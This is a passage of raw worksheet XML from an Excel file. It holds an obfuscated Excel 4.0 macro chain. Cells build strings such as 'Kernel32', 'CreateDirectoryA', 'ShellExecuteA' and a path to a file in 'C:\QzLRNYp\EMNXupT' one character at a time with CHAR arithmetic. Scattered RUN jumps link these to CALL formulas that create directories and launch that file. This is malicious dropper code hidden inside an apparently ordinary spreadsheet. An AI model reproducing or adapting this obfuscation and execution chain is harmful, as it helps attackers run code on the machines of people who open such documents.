x14ac:dyDescent="0.25"><c r="AG706" t="str"><f>CHAR($AM$1149-759)</f><v>r</v></c></row><row r="707" spans="6:92" x14ac:dyDescent="0.25"><c r="F707" t="b"><f>RUN($HK$1306)</f><v>0</v></c></row><row r="709" spans="6:92" x14ac:dyDescent="0.25"><c r="BU709"><v>48</v></c></row><row r="715" spans="6:92" x14ac:dyDescent="0.25"><c r="Q715"><v>17</v></c></row><row r="716" spans="6:92" x14ac:dyDescent="0.25"><c r="CN716" t="b"><f>RUN($CU$343)</f><v>0</v></c></row><row r="721" spans="39:236" x14ac:dyDescent="0.25"><c r="AU721"><v>1017</v></c></row><row r="726" spans="39:236" x14ac:dyDescent="0.25"><c r="CY726"><v>57</v></c><c r="IB726" t="b"><f>RUN($FW$916)</f><v>0</v></c></row><row r="734" spans="39:236" x14ac:dyDescent="0.25"><c r="AM734" t="str"><f>CHAR($FW$125-759)</f><v>U</v></c></row><row r="736" spans="39:236" x14ac:dyDescent="0.25"><c r="GU736" t="str"><f>CHAR($FA$326-759)</f><v>o</v></c></row><row r="738" spans="18:180" x14ac:dyDescent="0.25"><c r="FX738"><v>98</v></c></row><row r="747" spans="18:180" x14ac:dyDescent="0.25"><c r="R747"><v>841</v></c></row><row r="752" spans="18:180" x14ac:dyDescent="0.25"><c r="DJ752"><v>869</v></c></row><row r="754" spans="242:242" x14ac:dyDescent="0.25"><c r="IH754" t="b"><f>RUN($BQ$1636)</f><v>0</v></c></row><row r="770" spans="11:246" x14ac:dyDescent="0.25"><c r="CP770" t="str"><f>CHAR($AG$1581-890)</f><v>x</v></c></row><row r="771" spans="11:246" x14ac:dyDescent="0.25"><c r="CC771" t="b"><f>RUN($HV$364)</f><v>0</v></c></row><row r="773" spans="11:246" x14ac:dyDescent="0.25"><c r="AX773" t="b"><f>RUN($FM$795)</f><v>0</v></c></row><row r="774" spans="11:246" x14ac:dyDescent="0.25"><c r="AV774"><v>870</v></c><c r="HK774" t="str"><f>CHAR($HY$1346-759)</f><v>C</v></c></row><row r="778" spans="11:246" x14ac:dyDescent="0.25"><c r="K778"><v>44</v></c><c r="FI778" t="b"><f>RUN($AG$1030)</f><v>0</v></c><c r="ID778"><v>17</v></c></row><row r="779" spans="11:246" x14ac:dyDescent="0.25"><c r="GD779"><v>1000</v></c></row><row r="781" spans="11:246" x14ac:dyDescent="0.25"><c r="CJ781" t="str"><f>CHAR($BL$1347-570)</f><v>l</v></c></row><row r="782" spans="11:246" x14ac:dyDescent="0.25"><c r="IL782"><v>9</v></c></row><row r="783" spans="11:246" x14ac:dyDescent="0.25"><c r="DO783"><v>11</v></c></row><row r="784" spans="11:246" x14ac:dyDescent="0.25"><c r="FP784"><v>1081</v></c></row><row r="785" spans="18:247" x14ac:dyDescent="0.25"><c r="R785"><v>49</v></c><c r="HL785"><v>95</v></c></row><row r="787" spans="18:247" x14ac:dyDescent="0.25"><c r="IM787" t="b"><f>RUN($GC$1214)</f><v>0</v></c></row><row r="789" spans="18:247" x14ac:dyDescent="0.25"><c r="X789"><v>1036</v></c></row><row r="792" spans="18:247" x14ac:dyDescent="0.25"><c r="DB792"><v>93</v></c><c r="GF792" t="b"><f>RUN($FW$638)</f><v>0</v></c></row><row r="793" spans="18:247" x14ac:dyDescent="0.25"><c r="AS793" t="str"><f>CHAR($IJ$1199-890)</f><v>c</v></c></row><row r="795" spans="18:247" x14ac:dyDescent="0.25"><c r="FM795" t="b"><f>RUN($IE$345)</f><v>0</v></c></row><row r="797" spans="18:247" x14ac:dyDescent="0.25"><c r="EB797" t="b"><f>RUN($CY$1486)</f><v>0</v></c><c r="HU797"><v>856</v></c></row><row r="806" spans="28:140" x14ac:dyDescent="0.25"><c r="AB806"><v>62</v></c><c r="BX806"><v>936</v></c></row><row r="807" spans="28:140" x14ac:dyDescent="0.25"><c r="DS807" t="b"><f>RUN($GN$1104)</f><v>0</v></c></row><row r="811" spans="28:140" x14ac:dyDescent="0.25"><c r="EJ811" t="str"><f>CHAR($AZ$1094-890)</f><v>x</v></c></row><row r="822" spans="48:245" x14ac:dyDescent="0.25"><c r="AV822"><v>0</v></c><c r="GQ822" t="str"><f>CHAR($CO$1093-570)</f><v>U</v></c><c r="IK822"><v>4</v></c></row><row r="828" spans="48:245" x14ac:dyDescent="0.25"><c r="GZ828"><v>50</v></c></row><row r="830" spans="48:245" x14ac:dyDescent="0.25"><c r="FK830"><v>47</v></c></row><row r="832" spans="48:245" x14ac:dyDescent="0.25"><c r="BC832"><v>30</v></c></row><row r="834" spans="8:228" x14ac:dyDescent="0.25"><c r="BF834"><v>35</v></c></row><row r="836" spans="8:228" x14ac:dyDescent="0.25"><c r="H836"><v>42</v></c></row><row r="838" spans="8:228" x14ac:dyDescent="0.25"><c r="GO838" t="b"><f>RUN($FK$555)</f><v>0</v></c></row><row r="845" spans="8:228" x14ac:dyDescent="0.25"><c r="HT845" t="b"><f>RUN($FE$1107)</f><v>0</v></c></row><row r="862" spans="64:185" x14ac:dyDescent="0.25"><c r="BL862"><v>47</v></c></row><row r="863" spans="64:185" x14ac:dyDescent="0.25"><c r="GC863"><v>3</v></c></row><row r="864" spans="64:185" x14ac:dyDescent="0.25"><c r="ER864"><v>860</v></c></row><row r="881" spans="31:204" x14ac:dyDescent="0.25"><c r="GV881" t="str"><f>CHAR($BH$1418-570)</f><v>2</v></c></row><row r="885" spans="31:204" x14ac:dyDescent="0.25"><c r="AJ885" t="str"><f>CHAR($GS$562-759)</f><v>D</v></c></row><row r="886" spans="31:204" x14ac:dyDescent="0.25"><c r="CV886" t="str"><f>CHAR($FW$1466-759)</f><v>F</v></c></row><row r="887" spans="31:204" x14ac:dyDescent="0.25"><c r="GN887"><v>79</v></c></row><row r="890" spans="31:204" x14ac:dyDescent="0.25"><c r="ER890"><v>1035</v></c></row><row r="891" spans="31:204" x14ac:dyDescent="0.25"><c r="CN891"><v>1079</v></c></row><row r="893" spans="31:204" x14ac:dyDescent="0.25"><c r="AE893"><v>37</v></c></row><row r="898" spans="26:188" x14ac:dyDescent="0.25"><c r="BB898"><v>863</v></c><c r="GF898" t="str"><f>CONCATENATE($C$1509)</f><v>ShellExecuteA</v></c></row><row r="909" spans="26:188" x14ac:dyDescent="0.25"><c r="Z909" t="str"><f>CHAR($CQ$156-890)</f><v>/</v></c></row><row r="916" spans="106:218" x14ac:dyDescent="0.25"><c r="FW916" t="b"><f>RUN($F$707)</f><v>0</v></c><c r="HJ916" t="str"><f>CHAR($D$1242-959)</f><v>N</v></c></row><row r="918" spans="106:218" x14ac:dyDescent="0.25"><c r="DB918" t="str"><f>CHAR($BB$172-959)</f><v>\</v></c><c r="ER918" t="str"><f>CHAR($DE$1139-759)</f><v>p</v></c></row><row r="919" spans="106:218" x14ac:dyDescent="0.25"><c r="GK919"><v>90</v></c></row><row r="923" spans="106:218" x14ac:dyDescent="0.25"><c r="HB923"><v>24</v></c></row><row r="927" spans="106:218" x14ac:dyDescent="0.25"><c r="DM927" t="str"><f>CHAR($BK$1055-890)</f><v>d</v></c></row><row r="929" spans="25:232" x14ac:dyDescent="0.25"><c r="HX929"><v>873</v></c></row><row r="930" spans="25:232" x14ac:dyDescent="0.25"><c r="Y930" t="str"><f>CHAR($GF$1374-890)</f><v>m</v></c></row><row r="936" spans="25:232" x14ac:dyDescent="0.25"><c r="BR936"><v>1047</v></c></row><row r="937" spans="25:232" x14ac:dyDescent="0.25"><c r="DT937"><v>96</v></c></row><row r="939" spans="25:232" x14ac:dyDescent="0.25"><c r="AX939" t="str"><f>CONCATENATE($HK$774,$AG$706,$BT$104,$FD$1824,$AB$966,$BL$361,$AU$456,$IF$1906,$EC$199,$BQ$1882,$DZ$1681,$AZ$1213,$IH$545,$DN$1201,$GO$644,$BQ$504)</f><v>CreateDirectoryA</v></c><c r="DS939" t="b"><f>RUN($BB$471)</f><v>0</v></c></row><row r="944" spans="25:232" x14ac:dyDescent="0.25"><c r="FA944" t="str"><f>CHAR($DJ$752-759)</f><v>n</v></c><c r="GK944" t="str"><f>CHAR($BL$1567-890)</f><v>.</v></c></row><row r="945" spans="21:241" x14ac:dyDescent="0.25"><c r="AA945"><v>88</v></c></row><row r="946" spans="21:241" x14ac:dyDescent="0.25"><c r="Y946" t="b"><f>RUN($Q$1097)</f><v>0</v></c><c r="BI946"><v>11</v></c></row><row r="947" spans="21:241" x14ac:dyDescent="0.25"><c r="Z947"><v>2</v></c></row><row r="951" spans="21:241" x14ac:dyDescent="0.25"><c r="HY951" t="str"><f>CHAR($FP$81-959)</f><v>R</v></c></row><row r="953" spans="21:241" x14ac:dyDescent="0.25"><c r="CR953"><v>1040</v></c></row><row r="954" spans="21:241" x14ac:dyDescent="0.25"><c r="U954"><v>23</v></c><c r="IG954"><v>82</v></c></row><row r="956" spans="21:241" x14ac:dyDescent="0.25"><c r="BG956" t="str"><f>CHAR($CN$891-959)</f><v>x</v></c></row><row r="960" spans="21:241" x14ac:dyDescent="0.25"><c r="GX960" t="b"><f>RUN($BH$1162)</f><v>0</v></c></row><row r="965" spans="4:246" x14ac:dyDescent="0.25"><c r="D965" t="b"><f>CALL($FE$1340,$GW$327,"JCJ","C:\QzLRNYp",0)</f><v>0</v></c></row><row r="966" spans="4:246" x14ac:dyDescent="0.25"><c r="D966" t="b"><f>CALL($FE$1340,$GW$327,"JCJ","C:\QzLRNYp\EMNXupT",0)</f><v>0</v></c><c r="AB966" t="str"><f>CHAR($DH$51-759)</f><v>t</v></c></row><row r="967" spans="4:246" x14ac:dyDescent="0.25"><c r="D967" t="b"><f>CALL($II$1585,$GH$701, "JJCCJJ",0,$BB$54,$DU$694,0,0)</f><v>0</v></c><c r="GW967" t="str"><f>CHAR($CV$1161-890)</f><v>e</v></c></row><row r="968" spans="4:246" x14ac:dyDescent="0.25"><c r="D968" t="b"><f>CALL($DZ$1662,$GF$898, "JJCCCCJ",0,$DF$1373,$DU$694,,0,0)</f><v>0</v></c></row><row r="972" spans="4:246" x14ac:dyDescent="0.25"><c r="AA972"><v>870</v></c></row><row r="973" spans="4:246" x14ac:dyDescent="0.25"><c r="D973" t="b"><f>HALT()</f><v>0</v></c><c r="DJ973"><v>838</v></c><c r="GG973"><v>59</v></c></row><row r="974" spans="4:246" x14ac:dyDescent="0.25"><c r="HC974" t="b"><f>RUN($AY$594)</f><v>0</v></c><c r="IL974"><v>652</v></c></row><row r="976" spans="4:246" x14ac:dyDescent="0.25"><c r="FU976"><v>57</v></c></row><row r="979" spans="3:237" x14ac:dyDescent="0.25"><c r="AF979" t="str"><f>CHAR($CR$953-959)</f><v>Q</v></c><c r="AI979" t="b"><f>RUN($EV$1406)</f><v>0</v></c></row><row r="985" spans="3:237" x14ac:dyDescent="0.25"><c r="C985"><v>83</v></c><c r="GP985"><v>647</v></c></row><row r="989" spans="3:237" x14ac:dyDescent="0.25"><c r="DM989"><v>70</v></c></row><row r="990" spans="3:237" x14ac:dyDescent="0.25"><c r="IC990"><v>34</v></c></row><row r="992" spans="3:237" x14ac:dyDescent="0.25"><c r="EF992"><v>88</v></c></row><row r="993" spans="3:126" x14ac:dyDescent="0.25"><c r="O993" t="str"><f>CHAR($EV$1079-759)</f><v>x</v></c></row><row r="1000" spans="3:126" x14ac:dyDescent="0.25"><c r="BW1000"><v>80</v></c><c r="DV1000"><v>54</v></c></row><row r="1006" spans="3:126" x14ac:dyDescent="0.25"><c r="C1006"><v>828</v></c></row><row r="1019" spans="61:61" x14ac:dyDescent="0.25"><c r="BI1019"><v>1076</v></c></row><row r="1030" spans="33:213" x14ac:dyDescent="0.25"><c r="AG1030" t="b"><f>RUN($HP$1841)</f><v>0</v></c></row><row r="1032" spans="33:213" x14ac:dyDescent="0.25"><c r="HE1032"><v>58</v></c></row><row r="1033" spans="33:213" x14ac:dyDescent="0.25"><c r="BN1033"><v>671</v></c></row><row r="1042" spans="63:169" x14ac:dyDescent="0.25"><c r="FK1042"><v>52</v></c></row><row r="1043" spans="63:169" x14ac:dyDescent="0.25"><c r="BV1043"><v>1043</v></c></row><row r="1048" spans="63:169" x14ac:dyDescent="0.25"><c r="FM1048" t="str"><f>CONCATENATE($AO$1247,$AC$1828,$AY$362,$AF$979,$CC$338,$CE$1662,$HY$951,$HJ$916,$G$1208,$AJ$1127,$DB$918,$EI$1,$HR$1230,$DS$1202,$HJ$1158,$II$1968,$X$1472,$FD$478,$BI$1753,$CW$1758,$EB$1799,$IB$429,$BG$956,$CQ$1443,$HB$1141,$GI$1412,$DP$108,$DS$1410,$EZ$229)</f><v>C:\QzLRNYp\EMNXupT\mNmxrKt.ex</v></c></row><row r="1049" spans="63:169" x14ac:dyDescent="0.25"><c r="DA1049" t="str"><f>CONCATENATE($GQ$1949,$ER$918,$AB$1608,$GY$78)</f><v>Open</v></c></row><row r="1055" spans="63:169" x14ac:dyDescent="0.25"><c r="BK1055"><v>990</v></c><c r="BP1055"><v>38</v></c></row><row r="1057" spans="17:212" x14ac:dyDescent="0.25"><c r="AY1057" t="b"><f>RUN($GF$792)</f><v>0</v></c></row><row r="1058" spans="17:212" x14ac:dyDescent="0.25"><c r="R1058"><v>1073</v></c></row><row r="1059" spans="17:212" x14ac:dyDescent="0.25"><c r="HD1059" t="str"><f>CHAR($I$40-759)</f><v>c</v></c></row><row r="1062" spans="17:212" x14ac:dyDescent="0.25"><c r="EI1062" t="str"><f>CHAR($C$1505-890)</f><v>e</v></c></row><row r="1066" spans="17:212" x14ac:dyDescent="0.25"><c r="AQ1066" t="str"><f>CHAR($GB$1846-890)</f><v>g</v></c></row><row r="1067" spans="17:212" x14ac:dyDescent="0.25"><c r="CG1067" t="b"><f>RUN($EX$188)</f><v>0</v></c></row><row r="1069" spans="17:212" x14ac:dyDescent="0.25"><c r="EA1069"><v>73</v></c><c r="EH1069"><v>44</v></c></row><row r="1072" spans="17:212" x14ac:dyDescent="0.25"><c r="Q1072" t="b"><f>RUN($BR$685)</f><v>0</v></c><c r="FD1072"><v>860</v></c></row><row r="1074" spans="16:213" x14ac:dyDescent="0.25"><c r="P1074"><v>645</v></c></row><row r="1079" spans="16:213" x14ac:dyDescent="0.25"><c r="EV1079"><v>879</v></c></row><row r="1083" spans="16:213" x14ac:dyDescent="0.25"><c r="HE1083" t="str"><f>CHAR($BN$1033-570)</f><v>e</v></c></row><row r="1085" spans="16:213" x14ac:dyDescent="0.25"><c r="DE1085"><v>0</v></c></row><row r="1088" spans="16:213" x14ac:dyDescent="0.25"><c r="FC1088"><v>66</v></c></row><row r="1093" spans="17:248" x14ac:dyDescent="0.25"><c r="CO1093"><v>655</v></c></row><row r="1094" spans="17:248" x14ac:dyDescent="0.25"><c r="AZ1094"><v>1010</v></c><c r="IN1094"><v>875</v></c></row><row r="1097" spans="17:248" x14ac:dyDescent="0.25"><c r="Q1097" t="b"><f>RUN($FX$641)</f><v>0</v></c></row><row r="1104" spans="17:248" x14ac:dyDescent="0.25"><c r="GN1104" t="b"><f>RUN($GB$1712)</f><v>0</v></c></row><row r="1106" spans="58:210" x14ac:dyDescent="0.25"><c r="FT1106"><v>35</v></c></row><row r="1107" spans="58:210" x14ac:dyDescent="0.25"><c r="FE1107" t="b"><f>RUN($II$90)</f><v>0</v></c></row><row r="1110" spans="58:210" x14ac:dyDescent="0.25"><c r="BF1110"><v>73</v></c></row><row r="1112" spans="58:210" x14ac:dyDescent="0.25"><c r="DW1112" t="str"><f>CHAR($EW$1499-759)</f><v>t</v></c></row><row r="1116" spans="58:210" x14ac:dyDescent="0.25"><c r="HB1116"><v>81</v></c></row><row r="1119" spans="58:210" x14ac:dyDescent="0.25"><c r="CX1119"><v>28</v></c></row><row r="1121" spans="27:213" x14ac:dyDescent="0.25"><c r="AA1121" t="str"><f>CHAR($BB$898-759)</f><v>h</v></c></row><row r="1122" spans="27:213" x14ac:dyDescent="0.25"><c r="HE1122" t="b"><f>RUN($FE$220)</f><v>0</v></c></row><row r="1127" spans="27:213" x14ac:dyDescent="0.25"><c r="AJ1127" t="str"><f>CHAR($GA$1505-959)</f><v>p</v></c></row><row r="1133" spans="27:213" x14ac:dyDescent="0.25"><c r="EL1133"><v>23</v></c></row><row r="1136" spans="27:213" x14ac:dyDescent="0.25"><c r="EM1136" t="str"><f>CHAR($C$1006-759)</f><v>E</v></c></row><row r="1137" spans="14:210" x14ac:dyDescent="0.25"><c r="BH1137"><v>89</v></c></row><row r="1139" spans="14:210" x14ac:dyDescent="0.25"><c r="DE1139"><v>871</v></c></row><row r="1141" spans="14:210" x14ac:dyDescent="0.25"><c r="N1141"><v>864</v></c><c r="BQ1141" t="b"><f>RUN($HG$664)</f><v>0</v></c><c r="CN1141"><v>10</v></c><c r="HB1141" t="str"><f>CHAR($L$1706-959)</f><v>K</v></c></row><row r="1144" spans="14:210" x14ac:dyDescent="0.25"><c r="AS1144"><v>38</v></c></row><row r="1145" spans="14:210" x14ac:dyDescent="0.25"><c r="GN1145"><v>85</v></c></row><row r="1149" spans="14:210" x14ac:dyDescent="0.25"><c r="AM1149"><v>873</v></c></row><row r="1152" spans="14:210" x14ac:dyDescent="0.25"><c r="CS1152"><v>61</v></c></row><row r="1153" spans="60:229" x14ac:dyDescent="0.25"><c r="HL1153" t="str"><f>CHAR($GY$521-570)</f><v>l</v></c></row><row r="1155" spans="60:229" x14ac:dyDescent="0.25"><c r="HU1155" t="b"><f>RUN($FJ$596)</f><v>0</v></c></row><row r="1158" spans="60:229" x14ac:dyDescent="0.25"><c r="CG1158"><v>1001</v></c><c r="HJ1158" t="str"><f>CHAR($BR$936-959)</f><v>X</v></c></row><row r="1161" spans="60:229" x14ac:dyDescent="0.25"><c r="CV1161"><v>991</v></c></row><row r="1162" spans="60:229" x14ac:dyDescent="0.25"><c r="BH1162" t="b"><f>RUN($GR$71)</f><v>0</v></c></row><row r="1163" spans="60:229" x14ac:dyDescent="0.25"><c r="HR1163" t="str"><f>CHAR($GQ$1463-570)</f><v>e</v></c></row><row r="1166" spans="60:229" x14ac:dyDescent="0.25"><c r="GH1166" t="b"><f>RUN($GV$1201)</f><v>0</v></c></row><row r="1170" spans="5:146" x14ac:dyDescent="0.25"><c r="AH1170"><v>867</v></c></row><row r="1171" spans="5:146" x14ac:dyDescent="0.25"><c r="E1171" t="b"><f>RUN($EF$1702)</f><v>0</v></c></row><row r="1174" spans="5:146" x14ac:dyDescent="0.25"><c r="EP1174" t="str"><f>CHAR($EX$1584-959)</f><v>e</v></c></row><row r="1179" spans="5:146" x14ac:dyDescent="0.25"><c r="EF1179"><v>43</v></c></row><row r="1184" spans="5:146" x14ac:dyDescent="0.25"><c r="CL1184"><v>1068</v></c></row><row r="1185" spans="7:247" x14ac:dyDescent="0.25"><c r="N1185"><v>4</v></c></row><row r="1186" spans="7:247" x14ac:dyDescent="0.25"><c r="AM1186"><v>94</v></c></row><row r="1188" spans="7:247" x14ac:dyDescent="0.25"><c r="HT1188"><v>29</v></c></row><row r="1192" spans="7:247" x14ac:dyDescent="0.25"><c r="IM1192" t="str"><f>CONCATENATE($AY$1398,$HR$1163,$BQ$1369,$D$27,$HE$1083,$HL$1153,$EG$1901,$GV$881)</f><v>Kernel32</v></c></row><row r="1196" spans="7:247" x14ac:dyDescent="0.25"><c r="G1196" t="str"><f>CHAR($BL$1841-890)</f><v>u</v></c></row><row r="1199" spans="7:247" x14ac:dyDescent="0.25"><c r="IJ1199"><v>989</v></c></row><row r="1201" spans="7:204" x14ac:dyDescent="0.25"><c r="DN1201" t="str"><f>CHAR($HX$929-759)</f><v>r</v></c><c r="FJ1201"><v>77</v></c><c r="GV1201" t="b"><f>RUN($GT$1651)</f><v>0</v></c></row><row r="1202" spans="7:204" x14ac:dyDescent="0.25"><c r="DS1202" t="str"><f>CHAR($BZ$422-959)</f><v>N</v></c></row><row r="1204" spans="7:204" x14ac:dyDescent="0.25"><c r="BQ1204"><v>869</v></c></row><row r="1208" spans="7:204" x14ac:dyDescent="0.25"><c r="G1208" t="str"><f>CHAR($Q$215-959)</f><v>Y</v></c></row><row r="1211" spans="7:204" x14ac:dyDescent="0.25"><c r="BG1211"><v>98</v></c><c r="DH1211" t="str"><f>CHAR($O$567-890)</f><v>a</v></c></row><row r="1212" spans="7:204" x14ac:dyDescent="0.25"><c r="AV1212" t="b"><f>RUN($CQ$317)</f><v>0</v></c></row><row r="1213" spans="7:204" x14ac:dyDescent="0.25"><c r="AZ1213" t="str"><f>CHAR($IN$1094-759)</f><v>t</v></c></row><row r="1214" spans="7:204" x14ac:dyDescent="0.25"><c r="GC1214" t="b"><f>RUN($DS$939)</f><v>0</v></c></row><row r="1218" spans="5:245" x14ac:dyDescent="0.25"><c r="IK1218"><v>11</v></c></row><row r="1220" spans="5:245" x14ac:dyDescent="0.25"><c r="GT1220" t="str"><f>CHAR($CS$1297-759)</f><v>L</v></c></row><row r="1221" spans="5:245" x14ac:dyDescent="0.25"><c r="E1221"><v>98</v></c></row><row r="1228" spans="5:245" x14ac:dyDescent="0.25"><c r="EB1228"><v>39</v></c></row><row r="1230" spans="5:245" x14ac:dyDescent="0.25"><c r="BC1230" t="str"><f>CHAR($HO$1239-890)</f><v>c</v></c><c r="HR1230" t="str"><f>CHAR($X$789-959)</f><v>M</v></c></row><row r="1233" spans="4:223" x14ac:dyDescent="0.25"><c r="CC1233"><v>86</v></c></row><row r="1239" spans="4:223" x14ac:dyDescent="0.25"><c r="FF1239"><v>17</v></c><c r="HO1239"><v>989</v></c></row><row r="1242" spans="4:223" x14ac:dyDescent="0.25"><c r="D1242"><v>1037</v></c><c r="DF1242"><v>860</v></c></row><row r="1246" spans="4:223" x14ac:dyDescent="0.25"><c r="HF1246"><v>867</v></c></row><row r="1247" spans="4:223" x14ac:dyDescent="0.25"><c r="AO1247" t="str"><f>CHAR($FF$486-959)</f><v>C</v></c></row><row r="1250" spans="5:221" x14ac:dyDescent="0.25"><c r="EL1250"><v>65</v></c></row><row r="1254" spans="5:221" x14ac:dyDescent="0.25"><c r="E1254"><v>73</v></c><c r="HM1254" t="b"><f>RUN($FN$1873)</f><v>0</v></c></row><row r="1255" spans="5:221" x14ac:dyDescent="0.25"><c r="AX1255"><v>1005</v></c></row><row r="1256" spans="5:221" x14ac:dyDescent="0.25"><c r="CE1256" t="str"><f>CHAR($GK$478-890)</f><v>l</v></c></row><row r="1268" spans="153:240" x14ac:dyDescent="0.25"><c r="HA1268" t="b"><f>RUN($IB$1788)</f><v>0</v></c></row><row r="1275" spans="153:240" x14ac:dyDescent="0.25"><c r="EW1275"><v>86</v></c></row><row r="1276" spans="153:240" x14ac:dyDescent="0.25"><c r="FL1276" t="b"><f>RUN($BG$279)</f><v>0</v></c></row><row r="1277" spans="153:240" x14ac:dyDescent="0.25"><c r="FI1277" t="str"><f>CHAR($AA$972-759)</f><v>o</v></c></row><row r="1278" spans="153:240" x14ac:dyDescent="0.25"><c r="IF1278"><v>36</v></c></row><row r="1281" spans="90:244" x14ac:dyDescent="0.25"><c r="GI1281" t="str"><f>CHAR($CH$1691-890)</f><v>/</v></c></row><row r="1283" spans="90:244" x14ac:dyDescent="0.25"><c r="HB1283"><v>38</v></c></row><row r="1284" spans="90:244" x14ac:dyDescent="0.25"><c r="HJ1284" t="b"><f>RUN($C$1963)</f><v>0</v></c></row><row r="1290" spans="90:244" x14ac:dyDescent="0.25"><c r="CL1290"><v>81</v></c></row><row r="1292" spans="90:244" x14ac:dyDescent="0.25"><c r="IJ1292"><v>13</v></c></row><row r="1297" spans="65:219" x14ac:dyDescent="0.25"><c r="CS1297"><v>835</v></c><c r="EN1297" t="b"><f>RUN($Z$1443)</f><v>0</v></c></row><row r="1305" spans="65:219" x14ac:dyDescent="0.25"><c r="BM1305"><v>77</v></c><c r="CJ1305"><v>23</v></c></row><row r="1306" spans="65:219" x14ac:dyDescent="0.25"><c r="EK1306" t="str"><f>CHAR($FC$1329-759)</f><v>d</v></c><c r="HK1306" t="b"><f>RUN($CC$771)</f><v>0</v></c></row><row r="1311" spans="65:219" x14ac:dyDescent="0.25"><c r="GB1311"><v>75</v></c></row><row r="1312" spans="65:219" x14ac:dyDescent="0.25"><c r="BV1312"><v>995</v></c><c r="CQ1312"><v>994</v></c></row><row r="1313" spans="55:246" x14ac:dyDescent="0.25"><c r="DT1313" t="str"><f>CHAR($GZ$363-570)</f><v>N</v></c></row><row r="1315" spans="55:246" x14ac:dyDescent="0.25"><c r="IA1315"><v>78</v></c></row><row r="1316" spans="55:246" x14ac:dyDescent="0.25"><c r="BC1316"><v>23</v></c></row><row r="1320" spans="55:246" x14ac:dyDescent="0.25"><c r="IL1320"><v>50</v></c></row><row r="1329" spans="146:190" x14ac:dyDescent="0.25"><c r="FC1329"><v>859</v></c></row><row r="1330" spans="146:190" x14ac:dyDescent="0.25"><c r="EP1330"><v>12</v></c></row><row r="1339" spans="146:190" x14ac:dyDescent="0.25"><c r="GH1339" t="b"><f>RUN($D$99)</f><v>0</v></c></row><row r="1340" spans="146:190" x14ac:dyDescent="0.25"><c r="FE1340" t="str"><f>CONCATENATE($IM$1192)</f><v>Kernel32</v></c></row><row r="1346" spans="64:247" x14ac:dyDescent="0.25"><c r="HY1346"><v>826</v></c></row><row r="1347" spans="64:247" x14ac:dyDescent="0.25"><c r="BL1347"><v>678</v></c></row><row r="1348" spans="64:247" x14ac:dyDescent="0.25"><c r="HK1348" t="b"><f>RUN($BZ$1864)</f><v>0</v></c></row><row r="1351" spans="64:247" x14ac:dyDescent="0.25"><c r="HJ1351" t="b"><f>RUN($HZ$500)</f><v>0</v></c></row><row r="1352" spans="64:247" x14ac:dyDescent="0.25"><c r="GQ1352"><v>62</v></c></row><row r="1354" spans="64:247" x14ac:dyDescent="0.25"><c r="IM1354"><v>8</v></c></row><row r="1362" spans="69:188" x14ac:dyDescent="0.25"><c r="GA1362"><v>30</v></c></row><row r="1367" spans="69:188" x14ac:dyDescent="0.25"><c r="DJ1367" t="str"><f>CHAR($DE$377-759)</f><v>a</v></c></row><row r="1369" spans="69:188" x14ac:dyDescent="0.25"><c r="BQ1369" t="str"><f>CHAR($DU$58-570)</f><v>r</v></c></row><row r="1370" spans="69:188" x14ac:dyDescent="0.25"><c r="DT1370"><v>74</v></c></row><row r="1373" spans="69:188" x14ac:dyDescent="0.25"><c r="DF1373" t="str"><f>CONCATENATE($DA$1049)</f><v>Open</v></c></row><row r="1374" spans="69:188" x14ac:dyDescent="0.25"><c r="GF1374"><v>999</v></c></row><row r="1381" spans="33:204" x14ac:dyDescent="0.25"><c r="AG1381"><v>31</v></c></row><row r="1388" spans="33:204" x14ac:dyDescent="0.25"><c r="GV1388"><v>1006</v></c></row><row r="1392" spans="33:204" x14ac:dyDescent="0.25"><c r="FA1392" t="b"><f>RUN($BD$655)</f><v>0</v></c></row><row r="1397" spans="51:242" x14ac:dyDescent="0.25"><c r="BH1397"><v>69</v></c><c r="IH1397"><v>876</v></c></row><row r="1398" spans="51:242" x14ac:dyDescent="0.25"><c r="AY1398" t="str"><f>CHAR($P$1074-570)</f><v>K</v></c></row><row r="1402" spans="51:242" x14ac:dyDescent="0.25"><c r="BA1402"><v>48</v></c><c r="BD1402"><v>52</v></c></row><row r="1406" spans="51:242" x14ac:dyDescent="0.25"><c r="EV1406" t="b"><f>RUN($HP$13)</f><v>0</v></c></row><row r="1408" spans="51:242" x14ac:dyDescent="0.25"><c r="EZ1408"><v>646</v></c><c r="GO1408"><v>649</v></c></row><row r="1409" spans="16:213" x14ac:dyDescent="0.25"><c r="HE1409" t="str"><f>CHAR($CL$1995-890)</f><v>t</v></c></row><row r="1410" spans="16:213" x14ac:dyDescent="0.25"><c r="T1410"><v>42</v></c><c r="DH1410" t="str"><f>CHAR($BV$1312-890)</f><v>i</v></c><c r="DS1410" t="str"><f>CHAR($H$628-959)</f><v>e</v></c></row><row r="1412" spans="16:213" x14ac:dyDescent="0.25"><c r="GI1412" t="str"><f>CHAR($ID$555-959)</f><v>t</v></c></row><row r="1413" spans="16:213" x14ac:dyDescent="0.25"><c r="FD1413"><v>79</v></c></row><row r="1415" spans="16:213" x14ac:dyDescent="0.25"><c r="Q1415"><v>23</v></c></row><row r="1417" spans="16:213" x14ac:dyDescent="0.25"><c r="P1417" t="str"><f>CHAR($CR$1825-759)</f><v>e</v></c></row><row r="1418" spans="16:213" x14ac:dyDescent="0.25"><c r="BH1418"><v>620</v></c><c r="FF1418" t="str"><f>CHAR($CP$1794-759)</f><v>S</v></c></row><row r="1420" spans="16:213" x14ac:dyDescent="0.25"><c r="GZ1420"><v>1051</v></c></row><row r="1422" spans="16:213" x14ac:dyDescent="0.25"><c r="BE1422"><v>13</v></c></row><row r="1428" spans="45:247" x14ac:dyDescent="0.25"><c r="AS1428"><v>97</v></c></row><row r="1430" spans="45:247" x14ac:dyDescent="0.25"><c r="IM1430" t="str"><f>CHAR($IJ$138-570)</f><v>2</v></c></row><row r="1434" spans="45:247" x14ac:dyDescent="0.25"><c r="CC1434" t="str"><f>CHAR($R$747-759)</f><v>R</v></c></row><row r="1435" spans="45:247" x14ac:dyDescent="0.25"><c r="BZ1435"><v>1079</v></c><c r="GI1435" t="b"><f>RUN($DG$1948)</f><v>0</v></c></row><row r="1443" spans="26:205" x14ac:dyDescent="0.25"><c r="Z1443" t="b"><f>RUN($HJ$1284)</f><v>0</v></c><c r="CQ1443" t="str"><f>CHAR($R$1058-959)</f><v>r</v></c></row><row r="1444" spans="26:205" x14ac:dyDescent="0.25"><c r="EB1444"><v>96</v></c><c r="GW1444" t="b"><f>RUN($L$1606)</f><v>0</v></c></row><row r="1447" spans="26:205" x14ac:dyDescent="0.25"><c r="EJ1447"><v>44</v></c></row><row r="1452" spans="26:205" x14ac:dyDescent="0.25"><c r="DC1452"><v>90</v></c></row><row r="1456" spans="26:205" 